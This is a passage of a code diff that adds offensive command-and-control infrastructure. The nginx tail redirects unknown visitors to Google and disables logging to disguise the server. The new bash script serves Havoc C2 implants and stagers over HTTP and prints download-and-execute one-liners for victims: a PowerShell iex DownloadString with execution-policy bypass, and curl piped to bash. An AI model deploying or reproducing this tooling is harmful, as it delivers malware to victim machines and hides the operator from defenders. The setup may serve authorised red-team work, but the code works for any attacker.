||||||
|
listen 443 ssl default_server;
|
||||||
|
listen [::]:443 ssl default_server;
|
||||||
|
|
||||||
|
# Self-signed cert for catch-all
|
||||||
|
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||||
|
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||||
|
|
||||||
|
# Redirect all unknown traffic to a legitimate-looking site
|
||||||
|
return 301 https://www.google.com;
|
||||||
|
|
||||||
|
# Disable logs
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
}
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
PAYLOADS_DIR="/root/Tools/havoc/payloads"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
LISTEN_PORT=8443
|
||||||
|
|
||||||
|
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
||||||
|
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
||||||
|
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
||||||
|
# Extract payload paths from manifest
|
||||||
|
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
||||||
|
|
||||||
|
# Print payload info
|
||||||
|
echo "[+] Using these Havoc payloads:"
|
||||||
|
echo " - Windows EXE: $WIN_EXE"
|
||||||
|
echo " - Windows DLL: $WIN_DLL"
|
||||||
|
echo " - Linux Binary: $LINUX_BIN"
|
||||||
|
else
|
||||||
|
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
||||||
|
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
||||||
|
|
||||||
|
# Try to find payloads directly
|
||||||
|
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
||||||
|
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
||||||
|
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
||||||
|
|
||||||
|
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
||||||
|
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract just the filenames
|
||||||
|
WIN_EXE=$(basename "$WIN_EXE")
|
||||||
|
WIN_DLL=$(basename "$WIN_DLL")
|
||||||
|
LINUX_BIN=$(basename "$LINUX_BIN")
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create temporary directory for web server
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
mkdir -p $TEMP_DIR/content/windows
|
||||||
|
mkdir -p $TEMP_DIR/content/linux
|
||||||
|
mkdir -p $TEMP_DIR/scripts
|
||||||
|
|
||||||
|
# Copy payloads to web directory
|
||||||
|
if [ -n "$WIN_EXE" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
||||||
|
echo "[+] Serving Windows EXE: $WIN_EXE"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$WIN_DLL" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||||
|
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$LINUX_BIN" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||||
|
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Copy stagers if they exist
|
||||||
|
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||||
|
echo "[+] Serving Windows PowerShell stager"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||||
|
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||||
|
echo "[+] Serving Linux bash stager"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create helpful index page
|
||||||
|
cat > $TEMP_DIR/index.html << EOL
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Havoc C2 Payload Downloads</title>
|
||||||
|
<style>
|
||||||
|
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||||
|
h1 { color: #333; }
|
||||||
|
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||||
|
.warning { color: #a00; font-weight: bold; }
|
||||||
|
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Havoc C2 Payload Downloads</h1>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Available Payloads</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||||
|
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||||
|
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Auto-Download Scripts</h2>
|
||||||
|
<ul>
|
||||||
|
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||||
|
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<div class="section">
|
||||||
|
<h2>Quick Commands</h2>
|
||||||
|
<p>Windows PowerShell:</p>
|
||||||
|
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||||
|
<p>Linux Bash:</p>
|
||||||
|
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOL
|
||||||
|
|
||||||
|
# Start Python HTTP server in background
|
||||||
|
cd $TEMP_DIR
|
||||||
|
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||||
|
SERVER_PID=$!
|
||||||
|
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||||
|
|
||||||
|
# Print useful information for the operator
|
||||||
|
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||||
|
echo "[+] Available payloads:"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||||
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick PowerShell download command:"
|
||||||
|
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||||
|
echo ""
|
||||||
|
echo "[+] Quick Linux download command:"
|
||||||
|
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||||
Reference in New Issue
Block a user